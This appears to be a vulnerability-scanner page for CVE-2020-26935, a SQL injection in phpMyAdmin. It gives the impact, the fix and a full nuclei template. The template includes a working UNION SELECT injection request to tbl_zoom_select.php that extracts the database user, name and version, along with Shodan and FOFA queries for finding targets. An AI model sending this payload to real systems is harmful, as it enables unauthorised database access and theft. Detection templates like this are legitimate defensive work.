Browse / CVEs / CVE-2020-26935
CVE-2020-26935· CWE-89
phpMyAdmin < 5.0.3 - SQL Injection
criticalseverity
9.8CVSS score
63.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
phpMyAdmin before 4.9.6 and 5.x before 5.0.3 contains a SQL injection caused by improper processing of SQL statements in the search feature, letting attackers inject malicious SQL, exploit requires crafted search input.
Impact
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
Fix
Update to phpMyAdmin 4.9.6 or 5.0.3, or latest version.
How to confirm it
Send: GET /
Positive when: status_code == 200 and contains_all(body, "phpMyAdmin", "name=\"token\"")
Send: POST /index.php
Positive when: status_code == 302 and contains(header, "pmaAuth-1=")
Send: GET /index.php
Positive when: status_code == 200 and contains(body, "logged_in:true")
Send: POST /tbl_zoom_select.php
Positive when: status_code == 200 and contains_all(body, "\"success\":true", "\"row_info\"")Run it with nuclei: nuclei -id CVE-2020-26935 -u <target>
The full check
id: CVE-2020-26935
info:
name: phpMyAdmin < 5.0.3 - SQL Injection
author: 0x_Akoko
severity: critical
description: |
phpMyAdmin before 4.9.6 and 5.x before 5.0.3 contains a SQL injection caused by improper processing of SQL statements in the search feature, letting attackers inject malicious SQL, exploit requires crafted search input.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
remediation: |
Update to phpMyAdmin 4.9.6 or 5.0.3, or latest version.
reference:
- https://www.phpmyadmin.net/security/PMASA-2020-6/
- https://github.com/phpmyadmin/phpmyadmin/commit/d09ab9bc9d634ad08b866d42bb8c4109869d38d2
- https://nvd.nist.gov/vuln/detail/CVE-2020-26935
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-26935
epss-score: 0.63702
epss-percentile: 0.99224
cwe-id: CWE-89
metadata:
verified: true
max-request: 4
shodan-query: http.title:"phpMyAdmin"
fofa-query: app="phpMyAdmin"
tags: cve,cve2020,phpmyadmin,sqli,authenticated,vuln
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "phpMyAdmin", "name=\"token\"")
condition: and
internal: true
extractors:
- type: regex
name: token
part: body
group: 1
regex:
- 'name="token" value="([^"]+)"'
internal: true
- type: regex
name: set_session
part: body
group: 1
regex:
- 'name="set_session" value="([^"]+)"'
internal: true
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
pma_username={{username}}&pma_password={{password}}&server=1&target=index.php&token={{token}}&set_session={{set_session}}
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "pmaAuth-1=")
condition: and
internal: true
- raw:
- |
GET /index.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "logged_in:true")
condition: and
internal: true
extractors:
- type: regex
name: token2
part: body
group: 1
regex:
- 'token:"([^"]+)"'
internal: true
- raw:
- |
POST /tbl_zoom_select.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
db=testdb&table=users&where_clause=1=0 UNION SELECT 1,CONCAT(USER(),0x3a,DATABASE(),0x3a,VERSION()),3-- -&where_clause_sign=&token={{token2}}&ajax_request=true&get_data_row=true
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "\"success\":true", "\"row_info\"")
condition: and
extractors:
- type: regex
name: sqli_data
part: body
group: 1
regex:
- '"username":"([^"]+)"'References
- https://www.phpmyadmin.net/security/PMASA-2020-6/
- https://github.com/phpmyadmin/phpmyadmin/commit/d09ab9bc9d634ad08b866d42bb8c4109869d38d2
- https://nvd.nist.gov/vuln/detail/CVE-2020-26935
Use this check only on systems you are authorised to test. Where the data comes from